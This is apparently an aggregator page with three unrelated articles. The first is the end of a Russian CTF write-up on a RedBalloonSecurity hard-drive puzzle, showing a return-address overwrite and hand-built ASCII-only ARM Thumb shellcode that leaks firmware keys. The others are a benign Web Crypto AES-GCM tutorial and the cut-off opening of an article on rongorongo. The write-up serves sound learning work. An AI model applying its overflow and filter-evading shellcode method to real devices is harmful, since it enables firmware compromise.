Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

Тестим шеллкод

Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystoneCloning into 'keystone'...remote: Enumerating objects: 6806, done.remote: Counting objects: 100% (84/84), done.remote: Compressing objects: 100% (66/66), done.remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.Resolving deltas: 100% (4617/4617), done.user@ubuntu:~/Desktop$ cd keystone

Не забываем применить патч из LEVEL2.

0001-keystone-armv5.patch

user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patchFrom 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)     if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-+         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 }@@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-+     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) {+    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;--1.9.1

Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "thumbv7";306.                break;

на

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "armv5te";306.                break;

Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

user@ubuntu:~/Desktop/keystone$ mkdir builduser@ubuntu:~/Desktop/keystone$ cd builduser@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

Процесс конфигурации может проходить по разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

user@ubuntu:~/Desktop/keystone/build$ sudo make installuser@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

user@ubuntu:~/Desktop/keystone/build$ cd ../samplesuser@ubuntu:~/Desktop/keystone/samples$ makecc -o sample sample.c -lkeystone -lstdc++ -lmuser@ubuntu:~/Desktop/keystone/samples$ ./sampleadd eax, ecx = 66 01 c8Assembled: 3 bytes, 1 statementsadd eax, ecx = 01 c8Assembled: 2 bytes, 1 statements...

Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

Наш Makefile должен выглядеть вот так:

user@ubuntu:~/Desktop/keystone/samples$ cat Makefile# Sample code for Keystone Assembler Engine (www.keystone-engine.org).# By Nguyen Anh Quynh, 2016.PHONY: all cleanKEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lmall:${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}clean:rm -rf *.o lv3

Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);    return 0;}

Собираем и запускаем.

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3bx r3 = 13 ff 2f e1Assembled: 4 bytes, 1 statementsbx r7 = 17 ff 2f e1Assembled: 4 bytes, 1 statements

Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);    return 0;}

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3cc -o lv3 lv3.c -lkeystone -lstdc++ -lmbx r3 = 47 18Assembled: 2 bytes, 1 statementsbx r7 = 47 38Assembled: 2 bytes, 1 statements

Вот теперь красота. Правда только, в обратном порядке байт.

Неужели готово?

То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

Пишем

Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

MOV R5, R3  = 0x46 0x1D  = "F "BX R5       = 0x28 0x47  = "(G"

Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

Первый

1. STR R3, [R7]  = 0x3B 0x60  = ";`"2. LDR R5, [R7]  = 0x3D 0x68  = "=h"3. BX R5         = 0x28 0x47  = "(G"

Сохраняем адрес pfintf в память, куда указывает R7
Подгружаем адрес printf из памяти в R5
Триггерим printf

Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,WRITE_READ_VERIFY_ENABLEDLED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

Второй

Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

...079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0...091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1...105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2...

Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

Пробуем сделать второй ключ:

1. STR R3, [R7]       = 0x3B 0x60   = ";`"2. LDR R5, [R7]       = 0x3D 0x68   = "=h"3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"4. EORS R1, R0        = 0x41 0x40   = "A@"5. STR R1, [R7]       = 0x39 0x60   = "9`"6. LDR R0, [R7]       = 0x38 0x68   = "8h"7. BX R5              = 0x28 0x47   = "(G"

Сохраняем адрес pfintf в память, куда указывает R7
Подгружаем адрес printf из памяти в R5
Грузим второй ключ по правилам из level_3.html в R1
Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов
Сохраняем его в память, куда указывает R7
Подгружаем его в R0
Триггерим printf

Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,DOWNLOAD_MICROCODE_FUTURE_USE_ONLYLED:000000EE FAddr:002C7B5CLED:000000EE FAddr:002C7B5C

Третий

Для третьего ключа, делаем похожее:

1. STR R3, [R7]       = 0x3B 0x60 = ";`"2. LDR R5, [R7]       = 0x3D 0x68 = "=h"3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"4. EORS R1, R0        = 0x41 0x40 = "A@"5. LDR R2, [R4, #8]   = 0xA2 0x68 = "h"6. EORS R2, R1        = 0x4A 0x40 = "J@"7. STR R2, [R7]       = 0x3a 0x60 = ":`"8. LDR R0, [R7]       = 0x38 0x68 = "8h"9. BX R5              = 0x28 0x47 = "(G"

Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

F3 T>Input_Command_ErrorF3 T>

Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутится, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

ADDS R4, #4   = 0x04 0x34 = " 4"

Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

ADDS R4, #44  = 0x2c 0x34 = ",4"SUBS R4, #40  = 0x28 0x3c = "(<"

Вау! Должно сработать. Делаем парочку изменений:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. STR R2, [R7]       = 0x3a 0x60 = ":`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,TraceBufferControlFlags1_37LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну ничего себе! У нас получилось. Это наш третий ключик!

Четвертый

Идем по тому же пути:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. ADDS R4, #44       = 0x30 0x34 = ",4"10. SUBS R4, #40       = 0x28 0x3c = "(<"11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"12. EORS R3, R2        = 0x53 0x40 = "S@"09. STR R3, [R7]       = 0x3b 0x60 = ";`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

Вводим:

F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)Scanning the drive for archives:1 file, 653959 bytes (639 KiB)Extracting archive: final_level.lod.7z.encrypted--Path = final_level.lod.7z.encryptedType = 7zPhysical Size = 653959Headers Size = 151Method = LZMA:20 7zAESSolid = -Blocks = 1Enter password (will not be echoed):Everything is OkSize:       1014784Compressed: 653959user@ubuntu:/media/user/LEVEL3$ file final_level.lodfinal_level.lod: data

Стоит оговорится, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

1337

Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

user@ubuntu:/media/user/1337$ file *level4_instructions.txt:   ASCII textcongrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

Наша инструкция:

user@ubuntu:/media/user/1337$ cat level4_instructions.txtAlmost...Enter the following commands:1. /52. B,,,,1,1BEE-BOOP-BAP-BOOP-BEE-BOOP

Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

Congrats.pdf

Эпилог

Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделится этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или на яву.

Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

Подробнее..

Категории: Информационная безопасность , Ctf , Хранение данных , Реверс-инжиниринг , Assembler , Работа , Шифр , Red balloon security , Соискатели

Web Cryptography API пример использования

16.09.2020 14:04:44 |

Автор: admin

Доброго времени суток, друзья!

В этом туториале мы рассмотрим Web Cryptography API: интерфейс шифрования данных на стороне клиента.

Данный туториал основан на этой статье.

Предполагается, что вы немного знакомы с шифрованием.

Что конкретно мы будем делать?

Мы напишем простой сервер, который будет принимать зашифрованные данные от клиента и возвращать их ему по запросу. Сами данные будут обрабатываться на стороне клиента.

Сервер будет реализован на Node.js с помощью Express, клиент на JavaScript. Для стилизации будет использоваться Bootstrap.

Код проекта находится здесь.

Поиграть с кодом можно здесь.

Если вам это интересно, прошу следовать за мной.

Подготовка

Создаем директорию crypto-tut:

mkdir crypto-tut

Заходим в нее и инициализируем проект:

cd crypto-tutnpm init -y

Устанавливаем express:

npm i express

Устанавливаем nodemon:

npm i -D nodemon

Редактируем package.json:

"main": "server.js","scripts": {    "start": "nodemon"},

Структура проекта:

crypto-tut    --node_modules    --src        --client.js        --index.html        --style.css    --package-lock.json    --package.json    --server.js

Содержание index.html:

<head>    <!-- Bootstrap CSS -->    <link rel="stylesheet" href="http://personeltest.ru/aways/stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">    <link rel="stylesheet" href="style.css">    <script src="client.js" defer></source></head><body>    <div class="container">        <h3>Web Cryptography API Tutorial</h3>        <input type="text" value="Hello, World!" class="form-control">        <div class="btn-box">            <button class="btn btn-primary btn-send">Send message</button>            <button class="btn btn-success btn-get" disabled>Get message</button>        </div>        <output></output>    </div></body>

Содержание style.css:

h3,.btn-box {    margin: .5em;    text-align: center;}input,output {    display: block;    margin: 1em auto;    text-align: center;}output span {    color: green;}

Сервер

Приступаем к созданию сервера.

Открываем server.js.

Подключаем express и создаем экземпляры приложения и маршрутизатора:

const express = require('express')const app = express()const router = express.Router()

Подключаем middleware (промежуточный слой между запросом и ответом):

// разбор запросаapp.use(express.json({    type: ['application/json', 'text/plain']}))// подключение роутераapp.use(router)// директория со статическими файламиapp.use(express.static('src'))

Создаем переменную для хранения данных:

let data

Обрабатываем получение данных от клиента:

router.post('/secure-api', (req, res) => {    // получаем данные из тела запроса    data = req.body    // выводим данные в терминал    console.log(data)    // закрываем соединение    res.end()})

Обрабатываем отправку данных клиенту:

router.get('/secure-api', (req, res) => {    // данные отправляются в формате JSON,    // после чего соединение автоматически закрывается    res.json(data)})

Запускаем сервер:

app.listen(3000, () => console.log('Server ready'))

Выполняем команду npm start. В терминале появляется сообщение Server ready. Открываем http://localhost:3000:

На этом с сервером мы закончили, переходим к клиентской части приложения.

Клиент

Здесь начинается самое интересное.

Открываем файл client.js.

Для шифрования данных будет использоваться симметричный алгоритм AES-GCM. Такие алгоритмы позволяют использовать один и тот же ключ для шифрования и расшифровки.

Создаем функцию генерации симметричного ключа:

// https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/generateKeyconst generateKey = async () =>    window.crypto.subtle.generateKey({        name: 'AES-GCM',        length: 256,    }, true, ['encrypt', 'decrypt'])

Перед шифрованием данные необходимо закодировать в поток байтов. Это легко сделать с помощью класса TextEncoder:

// https://developer.mozilla.org/en-US/docs/Web/API/TextEncoderconst encode = data => {    const encoder = new TextEncoder()    return encoder.encode(data)}

Далее, нам нужен вектор исполнения (вектор инициализации, initialization vector, IV), представляющий собой случайную или псевдослучайную последовательность символов, которую добавляют к ключу шифрования для повышения его безопасности:

// https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValuesconst generateIv = () =>    // https://developer.mozilla.org/en-US/docs/Web/API/AesGcmParams    window.crypto.getRandomValues(new Uint8Array(12))

После создания вспомогательных функций, мы можем реализовать функцию шифрования. Данная функция должна возвращать шифр и IV для того, чтобы шифр можно было впоследствии декодировать:

const encrypt = async (data, key) => {    const encoded = encode(data)    const iv = generateIv()    const cipher = await window.crypto.subtle.encrypt({        name: 'AES-GCM',        iv    }, key, encoded)    return {            cipher,            iv        }}

После шифрования данных с помощью SubtleCrypto, они представляют собой буферы необработанных двоичных данных. Это не лучший формат для передачи и хранения. Давайте это исправим.

Данные, обычно, передаются в формате JSON и хранятся в базе данных. Поэтому имеет смысл упаковать данные в портируемый формат. Одним из способов это сделать является конвертация данных в строки в формате base64:

// https://developers.google.com/web/updates/2012/06/How-to-convert-ArrayBuffer-to-and-from-Stringconst pack = buffer => window.btoa(    String.fromCharCode.apply(null, new Uint8Array(buffer)))

После получения данных необходимо выполнить обратный процесс, т.е. преобразовать строки в кодировке base64 в буферы необработанных двоичных данных:

// https://developers.google.com/web/updates/2012/06/How-to-convert-ArrayBuffer-to-and-from-Stringconst unpack = packed => {    const string = window.atob(packed)    const buffer = new ArrayBuffer(string.length)    const bufferView = new Uint8Array(buffer)    for (let i = 0; i < string.length; i++) {        bufferView[i] = string.charCodeAt(i)    }    return buffer}

Остается расшифровать полученные данные. Однако, после расшифровки нам необходимо декодировать поток байтов в исходный формат. Это можно сделать с помощью класса TextDecoder:

// https://developer.mozilla.org/en-US/docs/Web/API/TextDecoderconst decode = byteStream => {    const decoder = new TextDecoder()    return decoder.decode(byteStream)}

Функция расшифровки представляет собой инверсию функции шифрования:

// https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/decryptconst decrypt = async (cipher, key, iv) => {    const encoded = await window.crypto.subtle.decrypt({        name: 'AES-GCM',        iv    }, key, cipher)    return decode(encoded)}

На данном этапе содержимое client.js выглядит так:

const generateKey = async () =>    window.crypto.subtle.generateKey({        name: 'AES-GCM',        length: 256,    }, true, ['encrypt', 'decrypt'])const encode = data => {    const encoder = new TextEncoder()    return encoder.encode(data)}const generateIv = () =>    window.crypto.getRandomValues(new Uint8Array(12))const encrypt = async (data, key) => {    const encoded = encode(data)    const iv = generateIv()    const cipher = await window.crypto.subtle.encrypt({        name: 'AES-GCM',        iv    }, key, encoded)    return {        cipher,        iv    }}const pack = buffer => window.btoa(    String.fromCharCode.apply(null, new Uint8Array(buffer)))const unpack = packed => {    const string = window.atob(packed)    const buffer = new ArrayBuffer(string.length)    const bufferView = new Uint8Array(buffer)    for (let i = 0; i < string.length; i++) {        bufferView[i] = string.charCodeAt(i)    }    return buffer}const decode = byteStream => {    const decoder = new TextDecoder()    return decoder.decode(byteStream)}const decrypt = async (cipher, key, iv) => {    const encoded = await window.crypto.subtle.decrypt({        name: 'AES-GCM',        iv    }, key, cipher)    return decode(encoded)}

Теперь реализуем отправку и получение данных.

Создаем переменные:

// поле для ввода сообщения, которое будет зашифрованоconst input = document.querySelector('input')// контейнер для вывода результатовconst output = document.querySelector('output')// ключlet key

Шифрование и отправка данных:

const encryptAndSendMsg = async () => {    const msg = input.value     // шифрование    key = await generateKey()    const {        cipher,        iv    } = await encrypt(msg, key)    // упаковка и отправка    await fetch('http://localhost:3000/secure-api', {        method: 'POST',        body: JSON.stringify({            cipher: pack(cipher),            iv: pack(iv)        })    })    output.innerHTML = `Сообщение <span>"${msg}"</span> зашифровано.<br>Данные отправлены на сервер.`}

Получение и расшифровка данных:

const getAndDecryptMsg = async () => {    const res = await fetch('http://localhost:3000/secure-api')    const data = await res.json()    // выводим данные в консоль    console.log(data)    // распаковка и расшифровка    const msg = await decrypt(unpack(data.cipher), key, unpack(data.iv))    output.innerHTML = `Данные от сервера получены.<br>Сообщение <span>"${msg}"</span> расшифровано.`}

Обработка нажатия кнопок:

document.querySelector('.btn-box').addEventListener('click', e => {    if (e.target.classList.contains('btn-send')) {        encryptAndSendMsg()        e.target.nextElementSibling.removeAttribute('disabled')    } else if (e.target.classList.contains('btn-get')) {        getAndDecryptMsg()    }})

На всякий случай перезапускаем сервер. Открываем http://localhost:3000. Нажимаем на кнопку Send message:

Видим данные, полученные сервером, в терминале:

{  cipher: 'j8XqWlLIrFxyfA2easXkJTLLIt9x8zLHei/tTKI=',  iv: 'F8doVULJzbEQs3M1'}

Нажимаем на кнопку Get message:

Видим те же самые данные, полученные клиентом, в консоли:

{  cipher: 'j8XqWlLIrFxyfA2easXkJTLLIt9x8zLHei/tTKI=',  iv: 'F8doVULJzbEQs3M1'}

Web Cryptography API открывает перед нами интересные возможности по защите конфиденциальной информации на стороне клиента. Еще один шаг в сторону бессерверной веб-разработки.

Поддержка данной технологии на сегодняшний день составляет 96%:

Надеюсь, статья вам понравилась. Благодарю за внимание.

Подробнее..

Категории: Javascript , Программирование , Node.js , Разработка веб-сайтов , Разработка , Криптография , Шифрование , Шифр , Crypto , Webcryptographyapi , Subtlecrypto , Cryptography

Ронго-ронго нерасшифрованная письменность острова Пасхи

31.08.2020 00:13:55 |

Автор: admin

Изобретатели

Письменность один из столпов, на которых стоит современная цивилизация. Хотя мы и воспринимаем её как естественную часть нашей повседневной жизни, когда-то она была изобретена. Такое случалось всего несколько раз, в статье речь пойдет как раз про один из таких случаев письменность острова Пасхи, также называемого Рапа Нуи. Это маленький уединенный остров длиной 24 километра, до ближайшего населенного острова плыть от него 1600 километров по прямой. Полинезийские мореходы попали туда примерно в 1200 году, а европейцам он стал известен в 1722. Европейцев впечатлили сотни каменных статуй, созданных островитянами, до 10 метров высотой и до 80 тонн веса каждая. Этим Рапа Нуи отличался ото всех прочих полинезийских островов, на которых если и делали каменные статуи, то весьма скромных размеров. Несмотря на это, европейцы обращались с местным населением как с дикарями: ловили их и продавали в рабство, захватили их землю, превратили весь остров в пастбище и, наконец, выживших 